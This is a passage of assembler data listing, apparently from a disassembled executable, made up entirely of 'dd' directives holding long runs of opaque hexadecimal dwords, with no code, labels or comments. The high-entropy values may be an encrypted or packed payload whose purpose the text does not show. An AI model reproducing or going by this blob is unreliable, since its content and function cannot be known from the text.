6001847Ch, 26360849h, 0A44831E8h, 43F49Bh, 0C0821097h dd 58698472h, 4045C800h, 834228EBh, 0EC8F486Bh, 0F080F988h dd 0FCC943C4h, 0A85701C7h, 0F5CBD3D1h, 120621Ch, 875F682Ch dd 96D1F6B5h, 48CB33C4h, 4E00DC67h, 0B855C184h, 0B42CE557h dd 0A3609814h, 1B724h, 98B82837h, 9F9DE0D9h, 0EC356200h dd 0FD6E95A9h, 52CF0077h, 48DA8F1Eh, 8214EFB0h, 52548A6Bh dd 149600F0h, 1178A1B1h, 4D1903C0h, 1B731D8Eh, 0C68668E0h dd 89BC9C3Eh, 837A0EC5h, 0F0B7C448h, 9894C22Ch, 0EAF71629h dd 0B25820EEh, 47B25DAh, 35D211C0h, 10C9A7h, 0B3DD9EE6h dd 78CEA261h, 17047C7Ch, 0A38E82C2h, 5E10B897h, 921469h dd 3835089Dh, 7D5546D5h, 1C768A00h, 4DD10C8Ch, 58853FFDh dd 802F879Ch, 9367CF13h, 894C085Ah, 91280E2Ch, 903D8B31h dd 13E8A58Ch, 217DB1B4h, 320C6F88h, 0AA080048h, 7FB26587h dd 57D80031h, 5C44D17Bh, 18002332h, 0ED9C2DB8h, 13E3FEEh dd 762F86AAh, 0C1873AA6h, 2C982345h, 5B00B857h, 3CB12539h dd 0EF8F01ABh, 0DDB8039Ah, 0B782E8F7h, 0B30020B0h, 0F9FCD9A9h dd 48AF0754h, 0D051738h, 40BF6CE8h, 24C73AD4h, 0F6002378h dd 0EBFD5267h, 460A5Dh, 0C71F3A4h, 0EFB16C84h, 0DEA74500h dd 4D08F52Dh, 2FC401A8h, 27631241h, 20922159h, 4577742Ch dd 67306F50h, 0CFD6FE00h, 4C8EE6FCh, 0C95D009Fh, 31343A9Eh dd 0B52E8B2Dh, 0C44E4C17h, 9740FC07h, 0A0E486BCh, 17D29807h dd 0B5B6FBECh, 3C320059h, 0A0EB54C6h, 0AD037B9Eh, 2C61EE5Fh dd 0AA54C744h, 60DE57C2h, 15BE92B8h, 0CC8B1F2Eh, 958ACC00h dd 0B1E1C69Eh, 19977830h, 0B06E9881h, 0B109185h, 28A2698Ch dd 4C40FB67h, 0F4A866CCh, 81888FC7h, 0E0A34191h, 1700EB2Eh dd 62766FF5h, 0C00D68A4h, 865A4F40h, 0C1C0B16Ah, 0CD443649h dd 28AB00DFh, 1A52A5DEh, 0B6007B64h, 40EEF007h, 3AEFE2E8h dd 2886A6F6h, 99E76945h, 6AB03300h, 0EA542191h, 80B8003Bh dd 0D7E8CDF3h, 5200A8A4h, 574B3169h, 17089A81h, 98CB734h dd 0A0016680h, 104F0428h, 3B99D60h, 90C6FB7Ah, 0D38885FCh dd 8C00A1E5h, 0F7EBBDC7h, 28813A9Bh, 25A89540h, 34206AC3h dd 0C47F2E18h, 76AC8C01h, 0EF5D0E4h, 0B8BEA048h, 170809AAh dd 3C84C265h, 3234CC76h, 0A7003AEAh, 0EF37EC38h, 1127C7h dd 0D97ADBCEh, 135D3953h, 780B0C2h, 8A1021D4h, 9574E098h dd 83D6BC03h, 0E8115A2Fh, 0FB24D2D3h, 979A430h, 0F64F0E9Bh dd 344F400h, 8E37F0D6h, 0EF805071h, 2E7B3386h, 6ED4AA1Dh dd 6AA881FDh, 0FCB6DCA3h, 0B80E3F71h, 6F218A69h, 0A2D440CFh dd 6322E827h, 891C91FBh, 73C7D103h, 0B0F02E4Bh, 1BFF9B11h dd 290131EAh, 82179000h, 7F56CFC6h, 2C605CA5h, 0AB0B5A80h dd 3B0FD09Ch, 5EBDE3h, 2B416B87h, 54AC980Eh, 3CAB86Ch dd 2C4AD166h, 79668E1Fh, 13C70AEh, 8DDF46DDh, 23B27FC7h dd 0C204AACh, 7A97FCAAh, 1974E681h, 989DCFA3h, 5892D0C1h dd 0D1F3D300h, 0DE9B6B43h, 2298B056h, 22E7F615h, 9D9E00C0h dd 4377CDF8h, 0F4B900CFh, 0BDF60D85h, 0EE0994E7h, 405409D3h dd 5D7CF0ECh, 4C48DCCCh, 98E91E02h, 5E41E809h, 81A44853h dd 7E9C88h, 5CD419D8h, 30600873h, 0C0CBD11Dh, 54F80D80h dd 998AFBFh, 0BB29D23Ch, 0E871B000h, 94946CFFh, 43FAE587h dd 794F20FEh, 305B3437h, 0F1C9E669h, 0D0EC92D3h, 8F8EFA3Ch dd 800EF630h, 838A3A22h, 0E9A26F65h, 0EC60F007h, 8B3B5339h dd 16F60001h, 7867DF9Bh, 0AB4E31h, 0EFDC7B18h, 0C90E2834h dd 6BEAB054h, 0EBC18179h, 8865F425h, 0A01ED033h, 0B303C077h dd 0E75CDE64h, 9730BB03h, 0EACCD1DAh, 0A347116h, 39982228h dd 762504A2h, 706010C0h, 0C52E007Eh, 0FDDDF0B3h, 0E90C1936h dd 88AB4ECAh, 88A12864h, 6060E4C8h, 1DE5D1EBh, 0E4009E5Bh dd 19E2B806h, 4C4D981Fh, 880686Dh, 0E0DC43A2h, 0F0401C4Bh dd 8E21E4DDh, 380E03E3h, 493DE9E2h, 1E61C0E5h, 0FB004A1Bh dd 8F4624B0h, 0F2080D12h, 39E00362h, 841ECD2Eh, 0BA76493Ah dd 0D92A009Fh, 0B8AFF917h, 6BF7005Fh, 0CF3CECB2h, 3A053DB7h dd 66E14BD1h, 0B8FC5CC9h, 4F440DC9h, 21A9B96Dh, 96D6605Eh dd 0E8CE7905h, 944902EEh, 6508820Bh, 2C144007h, 551B3C43h dd 4DE3AD00h, 8C382EFEh, 0DBFCF30Eh, 600762A4h, 4C3C21E4h dd 9DD9C4F2h, 3D1A8400h, 74CA7F47h, 0AEC1005Bh, 0D28B2CEBh dd 651C896Dh, 0A444A9DAh, 20886682h, 60EF113Dh, 0A12B07E7h dd 770035A0h, 1FB78381h, 28E5CEh, 0BE4D0E0Ah, 81C9B61h dd 605E0112h, 0AF7539F0h dd 85090097h, 80BF325Eh, 689018EFh, 0FEF91904h, 0CCA23DEAh dd 0F33E960Fh, 0E01FF8F9h, 0DC00C55Bh, 4D529005h, 15504C2Fh dd 0C4831C8Eh, 4DF007Eh, 0FAD478A0h, 89013A7Ah, 0FF0F7947h dd 343284B8h, 91106F18h, 0A400606Eh, 216DC9C6h, 16EEF3FEh dd 99AD4F6h, 0A1895410h, 406810A0h, 0B5E413B8h, 3A5A9205h dd 68C20E1Eh, 2DCB20F9h, 391FD958h, 0E540E654h, 6494C108h dd 2ED02ACh, 7C8EEA50h, 0DAB88C8Ch, 80E46F48h, 56E9690Ch dd 0E3EE7Bh, 0B5766A45h, 4CD0C2AFh, 0C110E848h, 36A3DD4Ah dd 7310BC8h, 0C8C686DAh, 696712D2h, 0A11E2CD2h, 45DCABEBh dd 0A86C4600h, 6D09DF4h, 820FC317h, 0D71E298Ch, 6D4A3413h dd 0B83F4BCh, 6B59FDh, 0BE717C2Ah, 3F92B215h, 0D1115717h dd 0A4109EB1h, 54EEEB45h, 39C28047h, 0D1802808h, 78990216h dd 8600B77Bh, 0EC5DA429h, 7B2D534h, 2131DEFh, 0AC00E9CCh dd 5541077Fh, 0B3897900h, 0DA08F3F8h, 40064AC9h, 71BA588Ch dd 733077D5h, 578D722Dh, 0D90E1705h, 8F460027h, 0E09C4F52h dd 856C2A0Eh, 11044BC9h, 4220DDB4h, 0E7B90383h, 1BD279ADh dd 4A9B2BD8h, 0AD00865Fh, 8A30D83Fh, 0F80430B8h, 0D9E98F39h dd 0B639BB00h, 290EB18Dh, 0CD38005Eh, 9F6954ECh, 0C0A0B93Eh dd 0CB278B8h, 223D4307h, 7042BDEBh, 1480E031h, 1DCFF2C0h dd 0B7E7C2Dh, 3C989C66h, 553D1FC4h, 521B06C0h, 4C48F0BBh dd 0D1109C45h, 8ED080D4h, 77CDA547h, 4438E9C5h, 0CEBB38C1h dd 70221Eh, 49E3043h, 1E40E401h, 945C91Ah, 0C41008F4h dd 325BB1E0h, 81FE5049h, 9081E324h, 6773A03Dh, 10AD61FAh dd 2F615FC7h, 0A22D7500h, 0CB866C5h, 41980182h, 9F3929Bh dd 7C6C30A4h, 340EB22Ch, 0D428ED40h, 68B432D8h, 52231018h dd 1A58E806h, 0C3C602EDh, 21D71939h, 94A0786Ch, 87287C45h dd 4100809Eh, 0A41A7DD1h, 3CEFE13Bh, 0FD869F1Ch, 59E8696Ch dd 44AF7800h, 0B433A85Bh, 0E0CC0046h, 0CF56394Fh, 981881D9h dd 79A80D4Eh, 88E6E0B2h, 78A320E8h, 44D2183Ah, 30EA6128h dd 683E2E14h, 33AE80B4h, 3001FCh, 1C1656D8h, 473FFA4Eh dd 0F0DCC805h, 8CCCC58Fh, 558C00FFh, 0D50308F6h, 273BE874h dd 2DDD8595h, 0C447841Fh, 8880F99Eh, 10740C7h, 41440D37h dd 726F7073h, 79D80008h, 0C3E20FFFh, 4FD600C0h, 0B1DC99F1h dd 49C19684h, 62669BEAh, 1BA85424h, 41BD6AADh, 189358D8h dd 0D9A2C00h, 0DC603BBEh, 33650952h, 4000DE71h, 0DF5D5A08h dd 488F94Ch, 0CD111D19h, 3E4AECE0h, 2101FB0Ch, 0B1B5A238h dd 2D606D7Eh, 0E808139Bh, 1A01CAh, 0F2DB3483h, 0DF6278F0h dd 80EC0748h, 0CEED3187h, 28C404C5h, 0CC3C3EF4h, 0C1007AB8h dd 9DE8CFB3h, 5CA832DEh, 7680AC1Fh, 4507AD83h, 0A9972B04h dd 0E4D87146h, 3D4100DFh, 0D4F04A85h, 0ED0E93D1h, 806AC2D6h dd 0A8B13CEEh, 0DA86023Dh, 55AD1B91h, 5B2E5460h, 0A414B500h dd 76D93408h, 0B4D04853h, 64997122h, 1BF11180h, 2C108C2Ah dd 11049A59h, 6E200F8h, 2FA2F3Bh, 13D900BDh, 0EAB56421h dd 10606DFFh, 0CCA7D6E1h, 1F32005Ah, 0E44A41C3h, 0E000E8B7h dd 45571463h, 0F6092Ah, 0B9CC8FEFh, 5282F33Ah, 1E40A549h dd 90ED35ECh, 1D9DA8h, 0E255E7DFh, 0B8FE0B74h, 0A86B8229h dd 80500027h, 0A0690DD3h, 0AACA64h, 0C9B3CE29h, 0D5073D2Ch dd 0DDFA6503h, 78D1FCCh, 24AE8AF9h, 8293B083h, 377F7B0Fh dd 18814B25h, 0B915F4E8h, 0CEE00538h, 5944A266h, 0A97F01B5h dd 0E68A6364h, 88432478h, 0CA7A6A00h, 0B306F2E5h, 1100B474h dd 1A44CE1Dh, 5951B6h, 0EE1E9720h, 419A691h, 0A29CBC05h dd 88C00C17h, 0F1B8C37Ch, 0A8C2E882h, 105106D8h, 0F8895C00h dd 0CED7F81h, 8CC34C9Ah, 15708FA6h, 0BE303709h, 60A0CA35h dd 0F0F75D4h, 29CD600Eh, 0C3707D41h, 94C4FEFBh, 904F1C28h dd 0AB49990Eh, 64160E3h, 809835h, 65C1A59Bh, 0A97CF81Fh dd 0D3390800h, 5DBCC079h, 0DDA1269Ah, 143820C0h, 0B8816108h dd 0B054FFC7h, 5D3638B8h, 2D98F500h, 7D0DE14Ah, 0C1F701EFh dd 81ACFA02h, 80086865h, 0BFE7A81Ah, 32B30084h, 71AF2F87h dd 0E800EECCh, 0D6FA10BCh, 0A56B3Dh, 2A883BD9h, 28CCB280h dd 8EA1F000h, 0CF450DDEh, 0AA8B91Eh, 7D68FF8h, 30893725h dd 81DF808Dh, 10DCBF2Dh, 20788Ch, 4F83B656h, 0F5963B5Ch dd 0ED7D9100h, 143D600Ah, 86B20933h, 1CE49B78h, 0D6181600h dd 0AE64592Bh, 0D57F0080h, 69A92A15h, 949CB4F8h, 0AC9D8941h dd 94194F0h, 0C59C0AA7h, 202FDF02h, 68C0AF42h, 0D488A357h dd 6FAB0023h, 0FD58C6E8h, 0EE011BEDh, 0D1F724F3h, 0EBD80B37h dd 111F29Bh, 3D2EB231h, 2CE72D03h, 0C27F8068h, 0FBAA243h dd 0F7265162h, 8BB008D6h, 0C6914580h, 0F9F9EE03h, 79692D4h dd 0BC3CA07Dh, 0ED181039h, 0C1DFF607h, 40C73BCEh, 90983E64h dd 0BEA92D2Eh, 0A395FC10h, 24E10800h, 0FD916013h, 96E87763h dd 0FE078290h, 1CDA3AEAh, 5402AF98h, 8C6879CDh, 8094C017h dd 98C001E4h, 0D0353AAAh, 0DA123EA0h, 0B464A830h, 99770014h dd 0EE0CC2C7h, 0F12C539h, 7800AA08h, 77792C4Eh, 0BD878C1h dd 0C0C81C54h, 9883BC20h, 0D9389B4Dh, 58848144h, 42B967EBh dd 968D9D2h, 5B02B385h, 94A08C7Dh, 280A2317h, 78DEE424h dd 0B58C49E0h, 6FF2270Ch, 0E8A0EC30h, 4576039h, 3677CCCFh dd 24388C8Ch, 722322h, 9DB54490h, 282CB85Dh, 0E22C54FAh dd 10060D09h, 39831Ch, 0CFF83762h, 2DE4D554h, 587F4907h dd 0C055AE4Eh, 801C6882h, 0EFC322A0h, 43150BDEh, 0FC002E1Fh dd 0BE3B0E3Ah, 81357F32h, 9805A6Fh, 0B3AF29A4h, 72BCF083h dd 117A3AF0h, 8F756A00h, 3624ED78h, 39430408h, 82E0FFA8h dd 88E07B80h, 6D2AF79Ah, 0F400F0BBh, 7DEE263Bh, 6D5AEFAh dd 8183F2F8h, 280398F5h, 0F031A902h, 0EB0780D6h, 783A4CD0h dd 0BB224900h, 0D128CDE0h, 0D25DEA02h, 16C8A82h, 0E433DCD7h dd 9CB12B14h, 0E934DE87h, 877D9320h, 4C6006Fh, 0E71E0B45h dd 822CE8E1h, 0CC40E065h, 1219939Dh, 8F99544h, 0D580FDC8h dd 13538FDBh, 9651124Dh, 2500E2F4h, 0BA20C86Ah, 453000F6h dd 0A7CE7D2Eh, 0CC0C05C1h, 495106FBh, 0E0E463h, 3476DCB7h dd 8679A821h, 17FBA20Fh, 0F56700ABh, 5B955920h, 41F420FEh dd 8F01422Dh, 81E40C01h, 0C4D86429h, 0C3E11C4Ch, 6B17FC06h dd 0DD407F4h, 70483B7Ah, 0D40052F8h, 0A21923A7h, 18330FC9h dd 21B307B8h, 350EE637h, 60FB5EC0h, 0F2A1B463h, 0C9EE09E1h dd 74683AE8h, 990E9DECh, 17842DF6h, 0E6B56830h, 60520173h dd 0A8A61F9Eh, 8D042080h, 77CF914h, 71A00744h, 50158386h dd 8B0098CDh, 53CFEBEh, 0B16E4FFAh, 45E8C883h, 0FF138728h dd 9B134C98h, 0BE9492h, 191809C4h, 0B100B829h, 0B0BC612Dh dd 95303428h, 1B7BB801h, 8609D748h, 98D00C7Fh, 1DD4624Ch dd 0C7ADE8h, 3C583ADAh, 1705EFBDh, 0AE347068h, 0DC21C4FBh dd 9A122F8Ch, 0B0C8230Eh, 692D003Eh, 240F35C4h, 0EA000DE5h dd 0CA2306C7h, 264149Eh, 0E17754ECh, 34F9E889h, 0C080340Bh dd 0E1658308h, 90548705h, 78991ADDh, 206AC427h, 0B367FB7Ch dd 78400ADh, 0D13E157h, 0BF089AEBh, 80E26FDBh, 0FD3E9EBCh dd 0E106835Eh, 676494C0h, 639102B6h, 0C7B17C24h, 38007C5Ah dd 0EBC58FBEh, 2EFA12BDh dd 0C0988E81h, 1C32F96Fh, 4C318060h, 9070342h, 0E418C227h dd 3130345Eh, 0FAD89176h, 5C4C1C8Dh, 806D2A5h, 17856FA8h dd 0C8E20BB2h, 0D01C7512h, 598430D8h, 0A6D87300h, 226B0443h dd 3B22577h, 3F17D0E6h, 8003ED9Ah, 0B0EF4415h, 98DF09E2h dd 0BC8F1CE0h, 0DB02C8Eh, 88397379h, 1204B7D0h, 0C9BC2007h dd 0CB000F83h, 0B3715D54h, 0FA76BBh, 0E44D1E7Dh, 13736229h dd 0D1F4ED14h, 0D0204F58h, 359D8Ah, 0E2E1C7AFh, 9CCA8E74h dd 0C8146200h, 85DD6DD1h, 24100428h, 40E5603Ah, 8792E27Dh dd 97E000E1h, 0CBFDC7CCh, 1C004D10h, 0B8C87085h, 0A069C92Dh dd 0C0589294h, 85152909h, 0CC0AC160h, 0E84DD011h, 0CFDDED00h dd 0BFA7D778h, 38B8E7C1h, 0BDEAC168h, 5CFA8E27h, 178A11ECh dd 0FF01A5B2h, 0ED47D40Bh, 78A63FDDh, 0B259274h, 740115B0h dd 30A42470h, 53791EB4h, 0A82DED0Bh, 9164A4B8h, 270004E2h dd 0EB5E9DA6h, 0AB00ECD2h, 8D452062h, 0E35C85h, 9213DEA3h dd 2D15A047h, 61FEBC1Eh, 18ECE100h, 0D7F04Fh, 86DD3D69h dd 0CA5F8C29h, 0EB493004h, 90AD4683h, 2C24544Ch, 0CD2205BCh dd 0C268001Eh, 0A5CE846Eh, 1860A227h, 0C026E8B0h, 90A46CA1h dd 52671F57h, 9AD06E48h, 5C5DB5Bh, 53626AD9h, 0EA2C804Ch dd 64967E0Fh, 9411740h, 350E008Ch, 8DF6A99Eh, 637C111Fh dd 61BB6A30h, 1382A4h, 0EEEC1234h, 0C6C5AD4Fh, 0E0A007E8h dd 950CD81h, 8F07EACh, 18A11C6Bh, 0E0DEC34Ch, 97BA132Ah dd 0C2441F6Dh, 2B128FECh, 0DD713CE1h, 40402B69h, 0DE2ABCD5h dd 38F2003Fh, 0C8AAB24Eh, 0A4996D34h, 0F779B000h, 7C127A2Ch dd 173D71FBh, 3083E899h, 6416154h, 4E80DCB4h, 24478A6Eh dd 0D3530069h, 0DE20E12Ch, 8302B284h, 0E81841ECh, 0F8107A39h dd 8DE4E761h, 7E9C0142h, 274A0E9Bh, 0D0545743h, 0B97F5823h dd 4016641Dh, 0B5FDC9h, 444B7528h, 202104A7h, 0C059B9ABh dd 93F9BDECh, 0EA006190h, 516AECFBh, 1156F79h, 90695FF1h dd 0D8B2F814h, 410037D0h, 33653E74h, 3C625287h, 7EA360h dd 35B0156Ah, 46F359BBh, 8ACC0906h, 12496076h, 6EF44Dh dd 0EA789205h, 0CC0372F7h, 1A733C53h, 54C0CF49h, 3DE5A22Eh dd 908FD21Bh, 0EA14CB2h, 836176C9h, 891B849h, 170CB0C4h dd 0A87E2443h, 9A1D34h, 97F56F72h, 0A3DA0DAh, 98A930BAh dd 0C7A1F1h, 56433F1Ah, 762F7D85h, 7FBABF3Eh, 8755100h dd 0F58EF099h, 94471F3Dh, 72E580D3h, 244D3BE2h, 2ED1C700h dd 281343BCh, 595B60BFh, 7C8827DFh, 0D7829200h, 0AE68EFAh dd 0B30C309Ah, 697F0820h, 31C37C00h, 9E97BC43h, 0FFD40770h dd 31A76F4Eh, 0F8D3AEEAh, 73004177h, 0E17F977Bh, 18BF5A9h dd 2365044h, 53B0D425h, 0F2BA8D80h, 0C0A3B884h, 7A973346h dd 0B8C5BF13h, 7C026EBCh, 0A8494D54h, 5B32CC90h, 4ACA3C00h dd 4F63ECF4h, 0D6611487h, 9BC0D0EAh, 38E6A0FAh, 0DF0034B0h dd 69F8384h, 0C0AD4BE4h, 0E0A76138h, 0C009B33h, 51F0FEE1h dd 11E348Ah, 186DE671h, 0CBF74E52h, 0F490A100h, 5CA04188h dd 0CA721B4Ch, 71033AE7h, 0E4B92B6Ah, 19DE361h, 6BBE1BA9h dd 5050999Ah, 74472B0h, 642FD000h, 0BA35F2Ah, 0FB53B28h dd 6273CA80h, 0DECE8033h, 192C9E01h, 27ABD6B9h, 0FCAE5180h dd 9769BF6Eh, 8C60213Fh, 0A12288B4h, 1BFE003Fh, 0ED5723F3h dd 0DE389D05h, 5C6500A9h, 0D9F98466h, 9B7100CCh, 18D71064h dd 0ED550C62h, 0E128F570h, 963EC91h, 3F0FB48h, 0E7B9311Eh dd 94A8001Bh, 89C0DB32h, 0FC24FBBCh, 3B0574F5h, 441F8B40h dd 82E7BF03h, 0F15DF073h, 0C9D8007Eh, 55677BC3h, 0A0241027h dd 5300CC1Ch, 99953291h, 63E20087h, 0B87F4BA7h, 38000C61h dd 51205662h, 864C114h, 58A426CCh, 24D1F103h, 8C40FDADh dd 51F54138h, 9C2F0368h, 0B476E2C3h, 56BF2CC8h, 3A849001h dd 0C06B36ADh, 0A41EC88Ch, 65547749h, 970103E0h, 682BE127h dd 0F2C80D11h, 69320067h, 79C215C6h, 203B0406h, 800B3D98h dd 66D79209h, 388390B9h, 78124689h, 0F4EC2077h, 1E007E19h dd 91C5F6C1h, 7CF09Bh, 1BB6FB33h, 6A783CBFh, 262D8D0Ah dd 84006CA0h, 68D49034h, 6F570D65h, 0D4516779h, 73F499CCh dd 77BAB500h, 0D5101A6Dh, 0C1F80043h, 0F994FE44h, 0BF3BD372h dd 3112808Eh, 2B6D4AB0h, 2A64794Bh, 29839ABh, 0F16E9A49h dd 80E01EC2h, 6ECE673h, 63344C03h, 5E3F95h, 3E47A028h dd 2E872C55h, 201B1E00h, 6802BE85h, 1DF8A482h, 800C566Bh dd 67EE7EA9h, 743FA291h, 0DD361F84h, 8C5D95C0h, 0C0F1D161h dd 70F75181h, 793093E7h, 3E2DE166h, 0B87C170Dh, 0CB10077h dd 0A12298E2h, 2980F361h, 67D84A2Bh, 6EC7390h, 77615F1Bh dd 0D0F416Eh, 20C62D95h, 0D6E4B526h, 0DC994CC0h, 0DF9F9200h dd 6CD393ACh, 1CA18C0Eh, 0A39B879h, 87621C48h, 0C53CC07Dh dd 0F70EC881h, 0A483EA02h, 60BF3393h, 2563B34h, 2651D276h dd 0D8AF0CB9h, 1449622Ch, 8EB55B00h, 4AAA7960h, 0AC281809h dd 0E60C2959h, 3BA0C68Bh, 0A05488E0h, 0A3E80082h, 0D4E7AE0Ah dd 0F9E27958h, 0D53F4C00h, 0EC15941Dh, 0D3DEEDFh, 5AE04E6Ah dd 1D882339h, 0F79E7304h, 0D412BCC0h, 918BCFEEh, 8D7A00ECh dd 0EDCCD3A5h, 3C829328h, 0F673AE0Eh, 0B91DE07Bh, 6523FBh dd 865CAC4Ch, 498D5BF8h, 31196603h, 0DBEDE873h, 0EC32C853h dd 0B47A2489h, 7E5D11C8h, 3510180Ah, 0EC01B867h, 0BB2671DAh dd 0FF8048h, 0E9B0B8EDh, 0C0185AADh, 0C9A6603Eh, 0C0904834h dd 1D616307h, 0E70001Ch, 8E432883h, 21C05599h, 0CDED3246h dd 0F91E0919h, 9010212Ch, 4D3A280Ah, 8AFB0090h, 2C1DCD53h dd 21DE63DDh, 0F91C208Dh, 55014CA2h, 0B8B3CDFFh, 3FD94070h dd 5E032058h, 0D0253EF0h, 0A21C1CCDh, 0D655F50Fh, 0C200FDA2h dd 0B8F8C74Dh, 812200F6h, 0B731BF36h, 8B3BEAF4h, 0A43E807Eh dd 2724831Bh, 0C152609Bh, 9A585B04h, 10913300h, 0F0600246h dd 0B8134A6Eh, 0D5884423h, 6DDD2700h, 8BF3B29Ch, 3D51000Dh dd 0EA3F9F50h, 4098B1ADh, 34B9FC18h, 2D20E70h, 434D2620h dd 40C6CC60h, 27648204h, 0B4887852h, 220EC4Ch, 0C6F887C2h dd 0DAC04889h, 4C90834Bh, 0CC0A491Fh, 0FB99D042h, 67D4406Eh dd 380F0034h, 83DF8E9Dh, 79305431h, 73845163h, 19550042h dd 0AA4534E9h, 3839467Bh, 8EC105ADh, 0A040298Bh, 7F0CE062h dd 0FD3E00C7h, 0A471BDF1h, 53141861h, 9FD08269h, 0A3304480h dd 3BE94866h, 0F7870486h, 0C2DB1077h, 4460C6AAh, 7F00D629h dd 59923BF5h, 2188F80h, 0A47AA5A7h, 30E48C2Ch, 3BA66310h dd 76720078h, 0A76EBCD6h, 0FD0CD808h, 79488BB1h, 7EC5005Eh dd 9AD67CF9h, 723C2A3Ah, 0E2FF00E8h, 732B20D0h, 49C01792h dd 288209Bh, 9901898Fh, 44D2A436h, 0F9D8FCDAh, 7CB51FA1h dd 0C7CB8904h, 40755404h, 778DBEEAh, 4B11C06Bh, 0C29243C6h dd 0FD0E6300h, 0F7691A37h, 457C90ECh, 0DD94D054h, 0C84C0200h dd 0C4830425h, 40994ACBh, 4592A808h, 4E767ED6h, 46CCDC00h dd 418E05C7h, 7CB700C9h, 0A1E9D9E5h, 6A2C364Eh, 23405478h dd 2AF7CCh, 871AD9CFh, 7843C7ADh, 496DF200h, 2EA7E320h dd 9F70000Fh, 0B3883CB7h, 0E84C0C60h, 73268444h, 1F504C8h dd 4F94613Dh, 84F068E2h, 5E22AD20h, 0D3AE4B00h, 48009691h dd 375897B4h, 4F1EE30h dd 31427578h, 0ADCCC876h, 0CB0FEC00h, 3D32C753h, 0F6CF042Bh dd 80E41C60h, 0E1AC5100h, 5C7E6724h, 29D09907h, 0FE609741h dd 0BDEC90F3h, 50860B6Fh, 5E03C346h, 89002CAAh, 0BC980C8h dd 18D88F5h, 0B60E1CE7h, 0FD2CEF61h, 1AC32AAh, 93C4D7F3h dd 2C29777Dh, 0E542F400h, 9D23CC5Bh, 6A568607h, 6FE0E7E8h dd 11B4806h, 250579CDh, 322F9A7Dh, 0E0720090h, 17A361E8h dd 75E6001Fh, 0C6498A05h, 8E05AC94h, 1C62F902h, 75EAC8Ch dd 0B6D6F62Bh, 0DE9570B9h, 0CA3DCD17h, 0F2888008h, 0A55348Ch dd 98B10592h, 0C7DA6837h, 0C5E0E2C8h, 22738861h, 64761810h dd 0E363AC1h, 0A7B7CA37h, 5540B160h, 900AEB9h, 2E153FDh dd 0C6DFF18Ah, 41A8990Ch, 0D5F52617h, 0E47C9EACh, 2B560080h dd 3FFDBFF3h, 781360AAh, 0E4209B36h, 1FB1CCEh, 0A41376D5h dd 0E45C84B8h, 97752157h, 0BF880401h, 0E24E5118h, 284C5462h dd 9955E22h, 0E3600038h, 2C9FA011h, 11F88930h, 51900F67h dd 65BB6079h, 0D8F9BFh, 7E540DC2h, 0F59175DBh, 656D1026h dd 85B52E00h, 0A6BD2649h, 0D8248388h, 0F23AADh, 576FC6DCh dd 83F0D24Dh, 0B86D6100h, 181DD90Ch, 0AB0A183Dh, 9ABDA121h dd 0E9387A00h, 68B50DAEh, 926B0063h, 7120DB51h, 0D300A84Ah dd 9616FF0h, 0B2FEE2CCh, 8BE32650h, 0EE94074h, 5E5CE49Ah dd 0B8717914h, 11D87A00h, 6B19BE6Eh, 35201E1Ah, 0BECE881h dd 0A328B80h, 0EB99EC81h, 72E872A8h, 0F9F5EC00h, 4B01E940h dd 1D931DA0h, 8BE606F2h, 18007127h, 0C2455674h, 99502A3h dd 0F50C994Ch, 0F7CA3810h, 8C6D762Ah, 2D7EFC00h, 0D63C1BE1h dd 12E60219h, 0D1607BA7h, 4A019044h, 0DFD04223h, 30106376h dd 0F27A32A2h, 930054F8h, 0F9912F1Ah, 1849C3D4h, 71268209h dd 0C83F61C5h, 0C72D00E9h, 1D10A27Bh, 4DE1171Eh, 0D3240148h dd 201A348Fh, 4068904h, 58E84E52h, 2FAD2A41h, 655B0EC8h dd 8887484Fh, 0A0B2070Ch, 0F339D653h, 77D1CE1Ch, 52B880FBh dd 0B7E27920h, 4A29F658h, 0ABC52BDh, 28A8F0h, 0B20B3525h dd 0D530536Eh, 5A075E65h, 8C940095h, 60F089B6h, 7898FAD6h dd 2054C600h, 2398A9Eh, 879007AFh, 0C0FF43EDh, 50C22221h dd 5CEE4E18h, 882CA8B9h, 0C91EBEFAh, 594E6E39h, 0A954A02Eh dd 0C95E9DBh, 307329A1h, 609E76A1h, 0C46BB280h, 903B8h dd 99FA669Dh, 93A3F37Dh, 0BD85D409h, 8B24821Fh, 40BC205Fh dd 0C2042E7Fh, 0F3A327FFh, 2A96ABC0h, 42DA01F5h, 88219781h dd 684ACC23h, 0B89A182Eh, 2FCCC740h, 0A945017Fh, 1CB78093h dd 0EAF7F88Dh, 0BA89B101h, 7682CC0Eh, 12016862h, 0F98A93C2h dd 8D5ED038h, 0DAF8F8A4h, 2DC54001h, 695A22C6h, 0AE685680h dd 70F55312h, 3F0A4309h, 0BB9C9818h, 2C280774h, 5065C9FAh dd 9006FDC5h, 0B2585D1Ch, 6699D389h, 2AD13CA0h, 11561E18h dd 5C013D65h, 1DC4CD9Bh, 84C0E6B7h, 0D0BE1C1Bh, 1E526Ah dd 8940EF34h, 6C9224A8h, 1AE3C002h, 0C0CD66A9h, 1404D2Ch dd 656D809h, 5225A763h, 0D0C49AE0h, 95FC2F00h, 220DC697h dd 4C69EC72h, 0E90870F5h, 0CA1DF110h, 0C00FE93h, 923DF752h dd 0E73F84F8h, 0D0820061h, 0C2BC2B7Dh, 40D896E0h, 0FC4F7E75h dd 0FA47A501h, 92872C1Fh, 294A4870h, 80D824E1h, 1495A10Ah dd 26372C7Ah, 66C0A9ACh, 1FF0E332h, 1429A75Ah, 80909057h dd 18F0FB3Fh, 19539A1Bh, 0F600B0E8h, 22FD6663h, 0F83FC6F5h dd 7B2700E3h, 99013A74h, 0BF07F4B9h, 77D46E0Ch, 0BEDD8F80h dd 0CF583AD1h, 3D5BAB8Eh, 4607F660h, 0EC162252h, 0A700DCD5h dd 4AAC8CD0h, 3077B8h, 609F9A7Ah, 16D599F5h, 0FE819300h dd 0AECE6147h, 74915CC9h, 7C412603h, 0E38BCA9Fh, 40747080h dd 0BD058800h, 0EAA1195Dh, 9CBB0B0Dh, 89806A68h, 453484D1h dd 1EFCC18h, 56B430h, 2F47286Dh, 0DCD091F3h, 3FEC83Ah dd 982211D7h, 3948913Ch, 0AC4BB800h, 120B6400h, 0BEB346E6h dd 848505F0h, 467683E7h, 312A9884h, 0F19DDC17h, 3FA82D03h dd 3E45A8CBh, 21436098h, 944DE72Ah, 809FB33Fh, 5682D129h dd 7AB55C1h, 1CD58EF0h, 1534C0E8h, 1A006718h, 0F837D9EEh dd 613CD89h, 9812719Ah, 7B07512Bh, 330CD39Fh, 0EC99D4A0h dd 275B2CAFh, 8A9D0143h, 81FF7247h, 7A193AF8h, 9C51E0ADh dd 19800E52h, 9AC3B918h, 7C001DCCh, 